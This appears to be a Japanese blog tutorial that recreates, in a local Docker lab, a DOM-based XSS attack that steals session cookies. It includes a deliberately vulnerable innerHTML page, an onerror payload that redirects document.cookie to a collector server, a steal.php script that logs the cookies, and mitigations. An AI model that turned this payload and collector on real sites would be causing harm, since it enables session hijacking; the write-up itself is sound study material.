1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【実験】DOM-based XSSでセッションIDを盗むまでの一連の流れを再現してみた

Posted at

🎯 概要

今回は、DOM-based XSS(クロスサイトスクリプティング)の脆弱性を悪用して、セッションIDを盗み出す攻撃シナリオをローカル環境で再現してみました。

経緯

情報処理安全確保支援士の勉強をしている際に、XSS関連の話はよく出てきます。特にXSSの種類(格納型、反射型、DOM-based)やその特性について要求されるため理解する必要があるのですが、このDOM-basedだけいまいちわかりづらい(笑)
そのうえで、何か手を動かして勉強に繋がることをしたいと考えていたので、今回の記事をまとめるに至りました。

目的:

  • XSSの仕組みと危険性を理解する
  • クッキーに保存されたセッションIDを盗める実例を見る
  • 安全なWeb実装のポイントを学ぶ

🏗️ 構成概要

これらはDocker上でコンテナを立てています。

役割 URL 内容
被害者サイト http://localhost:8080/login.php セッション管理あり
攻撃用サイト http://localhost:8080/xss.html XSSを実行
攻撃者サーバ http://localhost:9090/steal.php クッキー受け取り

1. 被害者ページ(login.php)

<?php
session_start();
if (!isset($_SESSION['user'])) {
    $_SESSION['user'] = 'user123';
    setcookie("session_id", session_id(), time()+3600, "/");
}
?>
<html>
  <body>
    <h1>ようこそ <?= $_SESSION['user'] ?> さん</h1>
  </body>
</html>

アクセスすると、以下のようなクッキーがブラウザに設定されます。

session_id=xxxxx...

2. 攻撃用ページ(xss.html)

<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>XSS Page</title></head>
<body>
  <h2>DOM-based XSS 実験</h2>
  <div id="output"></div>
  <script>
    const param = new URLSearchParams(location.search).get("msg");
    document.getElementById("output").innerHTML = param;
  </script>
</body>
</html>

このスクリプトがXSSの脆弱性ポイントです。

3. 攻撃用URL(デコード後)

<img src=x onerror="window.location='http://localhost:9090/steal.php?c='+document.cookie">

攻撃者はこれをURLエンコードして被害者に踏ませます:

http://localhost:8080/xss.html?msg=%3Cimg%20src%3Dx%20onerror%3D%22window.location%3D%27http%3A%2F%2Flocalhost%3A9090%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%22%3E

4. 攻撃者側:クッキー収集用スクリプト(steal.php)

<?php
file_put_contents("log.txt", $_GET["c"]."\n", FILE_APPEND);
?>

アクセスされると、以下のように log.txt に書き込まれます。

5. 実際のログ

PHPSESSID=cf6d186c6d49ee57f8f9124fb7f85319; session_id=cf6d186c6d49ee57f8f9124fb7f85319

成功です。セッションIDを盗むことに成功しました。

🧭 攻撃の流れ(図解)

🔐 なぜ危険なのか?

ユーザーがログインしている状態でこの攻撃を踏むと、認証状態のままクッキーが奪われる

攻撃者はそのクッキーを使ってなりすましログインが可能になる

✅ 対策方法

1. innerHTML の代わりに textContent を使う

document.getElementById("output").textContent = param;

2. Content-Security-Policy(CSP)の導入

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

インラインスクリプトの実行をブロックできます。

3. クッキー属性の設定(HttpOnly, SameSite)

setcookie("session_id", session_id(), [
  "expires" => time()+3600,
  "path" => "/",
  "secure" => true,
  "httponly" => true,
  "samesite" => "Strict"
]);
  • HttpOnly:JSからのアクセスを防止

  • SameSite=Strict:クロスサイトでクッキーが送られない

📝 まとめ

  • DOM-based XSSは、サーバー側のバリデーションでは防げない。

  • フロントエンドの安全なコーディングが非常に重要。

  • 「ユーザーの入力をHTMLに挿入するときは、エスケープかtextContentを使う」を徹底。コード規約ですね

👀 最後に

XSS対策はWebアプリ開発者ならもちろんですが、資格試験(情報処理安全確保支援士など)を目指す方にとっても非常に大事な知識です。ただ、DOM-basedはわかりづらいいため、この記事が理解の一助になれたら幸いです。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?